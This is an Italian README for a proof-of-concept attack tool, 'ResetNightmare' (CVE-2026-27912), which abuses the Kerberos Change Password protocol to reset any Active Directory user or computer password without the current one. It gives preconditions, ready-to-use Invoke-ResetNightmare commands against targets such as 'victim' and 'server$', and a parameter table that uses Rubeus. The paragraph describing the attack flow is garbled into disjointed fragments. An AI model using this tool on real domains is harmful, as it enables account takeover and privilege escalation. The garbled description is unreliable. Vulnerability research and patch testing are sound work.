
POC tool for ResetNightmare (CVE-2026-27912)
Strumento proof-of-concept (POC) per ResetNightmare (CVE-2026-27912).
ResetNightmare è una falla di validazione nel protocollo Kerberos Change Password che consente di reimpostare la password di qualsiasi account utente/computer, senza conoscerne quella attuale.
L'attacco richiede un controller di dominio non aggiornato e la possibilità di scrivere un userPrincipalName (UPN) su qualsiasi
account che controlli.
In alternativa, la vulnerabilità può anche essere sfruttata da un attaccante che ha la possibilità di creare nuovi utenti/computer in qualsiasi OU, poiché la creazione di un utente/computer consente di ottenere permessi GenericWrite su di esso.
Questo script automatizza l'intero flusso di attacco e si ripulisce da solo. Il flusso dell'attacco è il seguente:
-CreateNewPath.sAMAccountName del target, ad esempio "Administrator".NT-ENTERPRISE. Questo TGT verrà richiesto allo SPN kadmin/changepw.È possibile prendere di mira sia account utente che account computer.

-RubeusPath.-CreateNewPath).-DC.Esegui il dot-source dello script per caricare la funzione, quindi chiamala:
. .\ResetNightmare.ps1
Invoke-ResetNightmare `
-TargetAccount "victim" `
-TargetNewPassword "NewP@ssw0rd!" `
-UPNUser "controlledUser" `
-UPNUserPassword "ControlledP@ss!"
Usa il sAMAccountName (terminante con $) per -TargetAccount:
Invoke-ResetNightmare `
-TargetAccount 'server$' `
-TargetNewPassword "NewP@ssw0rd!" `
-UPNUser "controlledUser" `
-UPNUserPassword "ControlledP@ss!"
Se hai il permesso di creare oggetti in una OU/Container, puoi specificare il DN della OU/Container usando -CreateNewPath. Quando viene specificato, -UPNUser e -UPNUserPassword vengono trattati come le credenziali dell'account da creare, invece di quelle di un account esistente nel dominio:
Invoke-ResetNightmare `
-TargetAccount "victim" `
-TargetNewPassword "NewP@ssw0rd!" `
-UPNUser "attackerAcct" `
-UPNUserPassword "AttackerP@ss!" `
-CreateNewPath "OU=Temp,DC=demo,DC=lab"
Aggiungi -Computer per creare/usare un account computer invece di un account utente.
DICHIARAZIONE DI NON RESPONSABILITÀ
Questo contenuto è fornito solo a scopo educativo e informativo. È inteso a promuovere la consapevolezza e la corretta mitigazione delle vulnerabilità di sicurezza che possono esistere sui sistemi di tua proprietà o che sei autorizzato a testare. L'uso non autorizzato di queste informazioni per scopi dannosi, sfruttamento o accesso illegale è strettamente proibito. Gli autori non approvano né tollerano alcuna attività illegale e declinano ogni responsabilità derivante dall'uso improprio del materiale. Inoltre, gli autori non garantiscono l'accuratezza o la completezza del contenuto e non si assumono alcuna responsabilità per danni derivanti dal suo utilizzo.
| Parametro | Obbligatorio | Descrizione |
|---|
-TargetAccount | Sì | Il sAMAccountName dell'account da prendere di mira con il reset della password. Assicurati di includere il $ finale se si sta prendendo di mira un account computer. |
-TargetNewPassword | Sì | La nuova password da impostare per l'account target. |
-UPNUser | Sì | L'account su cui puoi scrivere un UPN, oppure l'account da creare se viene specificato -CreateNewPath. |
-UPNUserPassword | Sì | Password in chiaro per -UPNUser. |
-Computer | No | Tratta -UPNUser come un account computer (e crea un account computer quando combinato con -CreateNewPath). |
-RubeusPath | No | Il percorso dell'eseguibile di Rubeus. Il valore predefinito è ".\Rubeus.exe". |
-SupportedEncryption | No | Il tipo di crittografia supportato per il TGT. Il valore predefinito è "AES256" e dovrebbe funzionare nella maggior parte dei casi. Se è necessario modificarlo, i valori supportati sono: DES|RC4|AES128|AES256 |
-CreateNewPath | No | DistinguishedName di una OU/Container in cui hai i permessi per creare oggetti. Se specificato, i parametri -UPNUser e -UPNUserPassword saranno le credenziali dell'utente da creare, invece di usare un utente esistente. |
-DC | No | Nome del DC su cui operare. Viene risolto automaticamente se non specificato. |